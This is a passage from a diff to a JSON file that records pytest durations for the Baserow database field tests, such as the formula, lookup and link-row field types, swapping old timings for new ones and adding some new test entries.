0.18070024900953285, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_insert_and_update_rows_with_formula_referencing_single_select": 0.20732129202224314, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_move_row_with_row_id_formula_without_loosing_value": 0.12448291602777317, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_rename_field_preserving_brackets": 0.20840475099976175, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_rename_field_preserving_whitespace": 0.18097695798496716, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_still_insert_rows_with_an_invalid_but_previously_date_formula_field": 0.2375898330064956, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_update_lookup_field_value": 0.3912789580062963, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_use_complex_contains_filters_on_formula_field": 0.14657954199356027, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_use_complex_date_filters_on_formula_field": 0.15974824997829273, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_use_complex_date_filters_on_formula_field_with_lookup": 0.14986050099832937, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_cannot_create_view_filter_or_sort_on_invalid_field": 0.3752382920065429, "tests/baserow/contrib/database/field/test_formula_field_type.py::test_cant_change_the_value_of_a_formula_field_directly": 0.028687999999419844, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_cant_create_primary_lookup_that_looksup_itself": 0.21571962499911024, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_changing_type_of_other_field_still_results_in_working_filter": 0.2034623740000825, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_converted_reversed_link_row_field_with_formula_dependency": 0.46147274999839283, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_converting_link_row_field_with_formula_dependency": 0.46862720899935084, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_creating_a_model_with_formula_field_immediately_populates_it": 0.024107916999128065, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_decimal_formula_with_row_id_is_populated_after_creating_row": 0.17441204299939272, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_every_formula_sub_type_can_be_a_primary_field": 1.8664131239993367, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_adjacent_row": 0.17978904299980059, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_boolean": 0.27872512599969923, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_dates": 0.28964254099992104, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_datetimes": 0.3000135840002258, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_numbers": 0.356056709000768, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_numbers_fractions": 0.2994399170001998, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_text": 0.3175211269999636, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_single_select": 0.30025675000069896, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_single_select_field_type_sorting": 0.21499949999997625, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_with_row_id_is_populated_after_creating_row": 0.17049258399947576, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_cant_create_primary_lookup_that_looksup_itself": 0.2713807509862818, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_changing_type_of_other_field_still_results_in_working_filter": 0.2310780830157455, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_converted_reversed_link_row_field_with_formula_dependency": 0.681865457969252, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_converting_link_row_field_with_formula_dependency": 1.2174426249985117, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_count_formula_for_link_row_field_with_null_values": 0.2175395839731209, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_creating_a_model_with_formula_field_immediately_populates_it": 0.13319879199843854, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_decimal_formula_with_row_id_is_populated_after_creating_row": 0.15143433399498463, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_every_formula_sub_type_can_be_a_primary_field": 5.2654360010055825, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_adjacent_row": 0.1677233329974115, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_boolean": 0.307094290968962, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_dates": 0.3317549589846749, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_datetimes": 0.311883750022389, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_numbers": 0.3171234170149546, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_numbers_fractions": 0.31838995902216993, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_array_text": 0.333752917998936, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_field_type_lookup_sorting_single_select": 0.3556958329572808, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_number_type_without_decimal_places": 0.15979491695179604, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_single_select_field_type_sorting": 0.2640159590227995, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_text_field_type_get_order_collate": 0.27921975002391264, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_formula_with_row_id_is_populated_after_creating_row": 0.15470399998594075, "tests/baserow/contrib/database/field/test_formula_field_type.py::test_get_set_export_serialized_value_formula_field": 0.024153833000127634, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance10-instance20-True]": 0.011780417000409216, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance11-instance21-True]": 0.009918417999870144, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance12-instance22-False]": 0.01153695900029561, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance13-instance23-False]": 0.010208167000200774, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_inserting_a_row_with_lookup_field_immediately_populates_it_with_empty_list": 0.26614395800061175, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_multiple_formula_fields_with_different_django_lookups_being_used_to_filter": 0.20074666699929367, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_nested_lookup_with_formula": 0.3306090409996614, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance10-instance20-True]": 0.018018790986388922, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance11-instance21-True]": 0.016327874967828393, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance12-instance22-False]": 0.01581841698498465, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_has_compatible_model_fields[instance13-instance23-False]": 0.01647041499381885, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_inserting_a_row_with_lookup_field_immediately_populates_it_with_empty_list": 0.3811877080006525, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_multiple_formula_fields_with_different_django_lookups_being_used_to_filter": 0.1973217919585295, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_nested_lookup_with_formula": 0.8531822079676203, "tests/baserow/contrib/database/field/test_formula_field_type.py::test_recalculate_formulas_according_to_version": 0.07898448800187907, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_recalculated_internal_type_with_incorrect_syntax_formula_sets_to_invalid": 0.18087087599997176, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_renaming_dependency_maintains_dependency_link": 0.19967774999895482, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_recalculated_internal_type_with_incorrect_syntax_formula_sets_to_invalid": 0.15992483304580674, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_renaming_dependency_maintains_dependency_link": 0.19792233302723616, "tests/baserow/contrib/database/field/test_formula_field_type.py::test_row_dependency_update_functions_do_no_row_updates_for_same_table": 0.17762866699922597, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_row_dependency_update_functions_do_one_row_updates_for_same_table": 0.1702563329890836, "tests/baserow/contrib/database/field/test_formula_field_type.py::test_saving_after_properties_have_been_cached_does_recaclulation": 0.11802943300426705, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_saving_after_properties_have_been_cached_does_recalculation": 0.18281212599958963, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_updating_formula_field_doesnt_reset_all_fields": 0.20329049900010432, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_user_can_change_date_force_timezone_on_formula": 0.24174695900001097, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_last_modified_by_field": 0.18079416699947615, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_last_modified_by_field_force_create_last_modified_by_column": 0.17101016699962202, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_row_last_modified_by": 0.15922953999961464, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_rows_last_modified_by": 0.1631769579998945, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_duplicate_last_modified_by_field": 0.5898786669995388, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_get_set_export_serialized_value_last_modified_by_field": 0.337793583000348, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_import_export_last_modified_by_field": 0.16152975000113656, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_last_modified_by_field_type_sorting": 0.42049704099918017, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_last_modified_by_field_view_aggregations": 0.4389109580006334, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_create_row_last_modified_by": 0.15538441600074293, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_create_rows_last_modified_by": 0.15563600099903852, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_update_row_last_modified_by": 0.15780875000018568, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_update_rows_last_modified_by": 0.15803466699981072, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_trash_restore_last_modified_by_field": 0.4601272929994593, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_update_row_last_modified_by": 0.1631692920000205, - "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_update_rows_last_modified_by": 0.1681241250007588, - "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_import_export_last_modified_field": 0.4184756680006103, - "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_adjacent_row": 0.1692570839995824, - "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_can_be_looked_up": 0.5027858339999511, - "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_type": 0.3523834999996325, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_saving_after_properties_have_been_cached_does_recalculation": 0.15143671000259928, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_updating_formula_field_doesnt_reset_all_fields": 0.20862408500397578, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_user_can_change_date_force_timezone_on_formula": 0.23509691702201962, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_last_modified_by_field": 0.17224179199547507, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_last_modified_by_field_force_create_last_modified_by_column": 0.16319104100693949, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_row_last_modified_by": 0.1380991250043735, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_create_rows_last_modified_by": 0.1326776250207331, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_duplicate_last_modified_by_field": 0.5777225830242969, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_get_set_export_serialized_value_last_modified_by_field": 0.5392332510091364, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_import_export_last_modified_by_field": 0.12939866798114963, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_last_modified_by_field_type_create_via_api": 0.14134499902138487, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_last_modified_by_field_type_sorting": 0.27842508297180757, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_last_modified_by_field_view_aggregations": 0.2925502489961218, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_create_row_last_modified_by": 0.12318779100314714, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_create_rows_last_modified_by": 0.1181804160005413, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_update_row_last_modified_by": 0.1319991249765735, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_prevent_update_rows_last_modified_by": 0.1356595420220401, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_trash_restore_last_modified_by_field": 0.3043447929667309, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_update_row_last_modified_by": 0.13303945897496305, + "tests/baserow/contrib/database/field/test_last_modified_by_field_type.py::test_update_rows_last_modified_by": 0.15304904300137423, + "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_import_export_last_modified_field": 0.5263092090026475, + "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_adjacent_row": 0.16285804196377285, + "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_can_be_looked_up": 0.40593408298445866, + "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_type": 0.45164958300301805, "tests/baserow/contrib/database/field/test_last_modified_field_type.py::test_last_modified_field_type_wrong_timezone": 0.06873313899995992, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_call_apps_registry_pending_operations": 0.1903362909988573, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_change_link_row_related_table_when_field_with_related_name_exists": 0.22625987500032352, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_change_type_to_link_row_field_when_field_with_same_related_name_already_exists": 0.2660534170008759, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_clear_link_row_limit_selection_view_when_view_is_deleted": 0.5772859170001539, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_create_link_row_field_type_limit_selection_view_api_views": 0.3401363749999291, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_creating_a_linked_row_pointing_at_trashed_row_works_but_does_not_display": 0.2875779589994636, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_deleting_only_one_side_of_a_link_row_field_update_deleted_side_dependencies": 0.27057229099955293, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_deleting_table_delete_fields_referencing_it_even_if_with_there_is_no_related_field": 0.20616475099996023, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_import_export_link_row_field": 0.46676066600139166, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_are_row_values_equal": 0.18652724899948225, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_can_change_link_from_same_table_to_another_table_and_back": 0.36704324999936944, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_enhance_queryset": 0.24985379099962302, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_can_link_same_table": 0.24284904200067103, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_can_link_same_table_and_another_table": 0.33378458300012426, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type": 0.4943989169987617, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_api_row_views": 0.49670287599928997, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_api_views": 0.4771679180003048, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_prepare_value_for_db_in_bulk_whitespace": 0.22961120800027857, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_rows": 0.3591673749997426, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_with_text_values": 1.0224517919987193, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_serialize_metadata_for_row_history": 0.20277529199938726, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_lookup_field_cannot_self_reference_itself_via_same_table_link_row": 0.20937945900004706, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_no_pending_operations_after_creating_self_linking_model": 0.16752808399996866, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_self_referencing_link_row_raise_if_link_row_table_has_related_field_is_set": 0.23878950099879148, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_two_linked_tables_both_publically_shared_can_have_related_linked_field_removed": 0.2343959169993468, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_update_link_row_field_type_limit_selection_view_api_views": 0.33480691599925194, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_update_link_row_field_type_limit_selection_view_api_views_from_text_field": 0.34161241599940695, - "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_updating_link_rows_always_ends_up_with_the_correct_number_of_related_fields": 2.1540195839988883, - "tests/baserow/contrib/database/field/test_long_text_field_type.py::test_perm_deleting_rows_delete_rich_text_mentions": 0.16101020900077856, - "tests/baserow/contrib/database/field/test_long_text_field_type.py::test_rich_text_field_cannot_be_primary": 0.1767106679999415, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_batch_deleting_all_links_in_other_side_of_link_row_field_updates_lookups": 0.30519345800075826, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_batch_deleting_some_links_in_other_side_of_link_row_field_updates_lookups": 0.3017484180008978, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_batch_create_lookup_field_value": 0.2681681670001126, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_batch_update_lookup_field_value": 0.29060450100132584, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_create_new_row_with_immediate_link_row_values_and_lookup_will_match": 0.27647308300038276, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_lookup_single_select": 0.2730913330005933, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_modify_row_containing_lookup": 0.41819649999979447, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_modify_row_containing_lookup_diamond_dep": 0.5233765830007542, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_set_sub_type_options_for_lookup_field": 0.27663658400069835, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_update_lookup_field_value": 0.29814533299941104, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_converting_a_lookup_field_doesnt_break_its_dependants": 0.3320373759988797, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_converting_away_from_lookup_field_deletes_parent_formula_field": 0.30425104100049793, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_deleting_link_in_other_side_of_link_row_field_updates_lookups": 0.305512250000902, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_deleting_related_link_row_field_dep_breaks_deps": 0.6418681249997462, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_deleting_related_link_row_field_still_lets_you_create_edit_rows": 0.4426025419998041, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_deleting_related_table_still_lets_you_create_edit_rows": 0.5750170410001374, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_deleting_restoring_lookup_target_works": 0.5092696250003428, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_deleting_table_with_dependants_works": 0.6789620419986022, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_formula_referencing_lookup_with_same_name_field_in_linked_table_being_renamed": 0.40603687500060914, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_import_export_lookup_field_trashed_target_field": 0.2985569580005176, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_import_export_lookup_field_when_through_field_trashed": 0.3140423329996338, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_import_export_tables_with_lookup_fields": 0.8057056659999944, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_lookup_field_type_sorting_array_numbers": 0.2903827090003688, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_moving_a_looked_up_row_updates_the_order": 0.365164625000034, - "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_updating_other_side_of_link_row_field_updates_lookups": 0.2979064589999325, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_call_apps_registry_pending_operations": 0.15228012399893487, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_get_set_export_serialized_value_multiple_collaborators_field": 0.6635418740006571, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_are_row_values_equal": 0.39998712499982503, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_field_adjacent_row": 0.45806266799900186, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_field_type_create": 0.170672876000026, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_field_type_random_value": 0.4196923749996131, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_field_type_sorting": 0.5400256250004531, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_field_type_update": 0.45278454199888074, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_model_enhanced_field": 0.4919778339999539, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_model_field": 0.48991900000055466, - "tests/baserow/contrib/database/field/test_multiple_collaborators_field_type.py::test_multiple_collaborators_serialize_metadata_for_row_history": 0.4449871250008073, - "tests/baserow/contrib/database/field/test_multiple_select_field_type.py::test_call_apps_registry_pending_operations": 0.16420058400035487, - "tests/baserow/contrib/database/field/test_multiple_select_field_type.py::test_conversion_date_to_multiple_select_field": 0.6066553339996972, - "tests/baserow/contrib/database/field/test_multiple_select_field_type.py::test_conversion_email_to_multiple_select_field": 0.22918562500035478, - "tests/baserow/contrib/database/field/test_multiple_select_field_type.py::test_conversion_multiple_select_to_multiple_select_field": 0.3175005829989459, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_call_apps_registry_pending_operations": 0.17115533200558275, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_change_link_row_related_table_when_field_with_related_name_exists": 0.2395979579887353, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_change_type_to_link_row_field_when_field_with_same_related_name_already_exists": 0.26966225099749863, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_clear_link_row_limit_selection_view_when_view_is_deleted": 0.397732207988156, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_create_link_row_field_type_limit_selection_view_api_views": 0.3758746679814067, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_create_link_row_field_type_multiple_relationships": 0.35536841599969193, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_creating_a_linked_row_pointing_at_trashed_row_works_but_does_not_display": 0.37419025000417605, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_deleting_only_one_side_of_a_link_row_field_update_deleted_side_dependencies": 0.35912875001668, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_deleting_table_delete_fields_referencing_it_even_if_with_there_is_no_related_field": 0.17629399898578413, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_dont_export_deleted_relations": 0.37097512400941923, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_duplicate_link_row_no_multiple_relationships": 0.37370637597632594, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_get_group_by_metadata_in_rows_link_row_field": 0.1828822089591995, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_get_group_by_metadata_in_rows_with_many_to_many_field": 0.2846838329860475, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_import_export_link_row_field": 0.6228200419864152, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_are_row_values_equal": 0.184316583967302, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_can_change_link_from_same_table_to_another_table_and_back": 0.808414458995685, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_enhance_queryset": 0.26172645698534325, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_can_link_same_table": 0.3180229579738807, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_can_link_same_table_and_another_table": 0.435178832965903, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type": 0.9136394160159398, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_api_row_views": 0.5124100419925526, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_api_views": 0.6323190000257455, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_create_row_no_multiple_relationships": 0.27927812401321717, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_prepare_value_for_db_in_bulk_whitespace": 0.28118866702425294, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_rows": 0.47652987600304186, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_update_row_no_multiple_relationships": 0.3410511660040356, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_field_type_with_text_values": 1.7963632920000236, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_link_row_serialize_metadata_for_row_history": 0.23305929198977537, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_list_rows_with_group_by_link_row_to_multiple_select_field": 0.34766974998638034, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_lookup_field_cannot_self_reference_itself_via_same_table_link_row": 0.2630486669950187, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_no_pending_operations_after_creating_self_linking_model": 0.14230566602782346, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_self_referencing_link_row_raise_if_link_row_table_has_related_field_is_set": 0.21508049999829382, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_with_collation[setup_table_with_collaborator_pk]": 1.9894075840129517, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_with_collation[setup_table_with_multiple_select_pk]": 1.6255821660161018, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_with_collation[setup_table_with_single_select_pk]": 0.9962637929711491, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_with_collation[setup_table_with_text_pk]": 0.47609270800603554, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_without_collation[setup_table_with_date_pk]": 0.24336741596926004, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_without_collation[setup_table_with_duration_pk]": 0.22228341799927875, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_text_field_type_get_order_without_collation[setup_table_with_number_pk]": 0.2393475000280887, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_two_linked_tables_both_publically_shared_can_have_related_linked_field_removed": 0.3151409580023028, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_update_link_row_field_type_limit_selection_view_api_views": 0.35753766604466364, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_update_link_row_field_type_limit_selection_view_api_views_from_text_field": 0.2748206260148436, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_update_link_row_field_type_multiple_relationships": 0.44229095900664106, + "tests/baserow/contrib/database/field/test_link_row_field_type.py::test_updating_link_rows_always_ends_up_with_the_correct_number_of_related_fields": 4.55986274802126, + "tests/baserow/contrib/database/field/test_long_text_field_type.py::test_perm_deleting_rows_delete_rich_text_mentions": 0.14280720800161362, + "tests/baserow/contrib/database/field/test_long_text_field_type.py::test_rich_text_field_cannot_be_primary": 0.1688951659889426, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_batch_deleting_all_links_in_other_side_of_link_row_field_updates_lookups": 0.5700568319880404, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_batch_deleting_some_links_in_other_side_of_link_row_field_updates_lookups": 0.5433857489842921, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_batch_create_lookup_field_value": 0.3756742920377292, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_batch_update_lookup_field_value": 0.43015795800602064, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_create_new_row_with_immediate_link_row_values_and_lookup_will_match": 0.4090651670121588, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_lookup_single_select": 0.3683480420149863, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_modify_row_containing_lookup": 0.6392121250391938, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_modify_row_containing_lookup_diamond_dep": 0.7283112919831183, + "tests/baserow/contrib/database/field/test_lookup_field_type.py::test_can_set_sub_type_options_for_lookup_field": 0.3462560839834623, + 